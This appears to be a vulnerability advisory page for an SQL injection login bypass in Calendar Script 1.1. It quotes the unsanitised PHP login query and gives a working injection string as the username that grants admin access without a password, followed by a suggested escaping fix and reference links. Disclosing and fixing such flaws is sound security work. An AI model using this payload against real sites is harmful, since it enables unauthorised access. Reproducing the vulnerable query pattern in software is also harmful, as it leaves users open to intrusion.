Calendar Script 1.1 (Auth Bypass) SQL Injection Vulnerability

2008.12.30
Credit: athos
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

----------------------------------------------------- Calendar Script v1.1 Admin Login Bypass Vulnerability ----------------------------------------------------- by athos - staker[at]hotmail[dot]it http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1 File Vuln "index.php" (code details) ------------------------------------------------------------ 4. $action = $_POST['action']; 5. 6. switch($action) { 7. case 'login': 8. // login 9. $username = stripslashes(trim($_POST['username'])); 10. $password = sha1(stripslashes(trim($_POST['password']))); 11. 12. if(empty($username) || empty($password)) { 13. // Stop, someone tried entering nothing into here 14. // Show an error. 15. $loginMsg = 'You must enter a username and password'; 16. } else { 17. // The input seems to be ok, check it against the database. 18. $checkDetails = mysql_query("SELECT id FROM user WHERE username='$username' AND password='$password' LIMIT 1", $conn); ------------------------------------------------------------ Exploit http://[host]/[path]/index.php (Login) Username: ' or 1=1# & Password: anything ------------------------------------------------------------ Fix: $username = mysql_real_escape_string($_POST['username']); Note: works regardless php.ini settings (str0ke =D) don't add me on msn messenger ------------------------------------------------------------

References:

http://xforce.iss.net/xforce/xfdb/47544
http://www.securityfocus.com/bid/32978
http://www.milw0rm.com/exploits/7551
http://secunia.com/advisories/33266
http://osvdb.org/50892


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top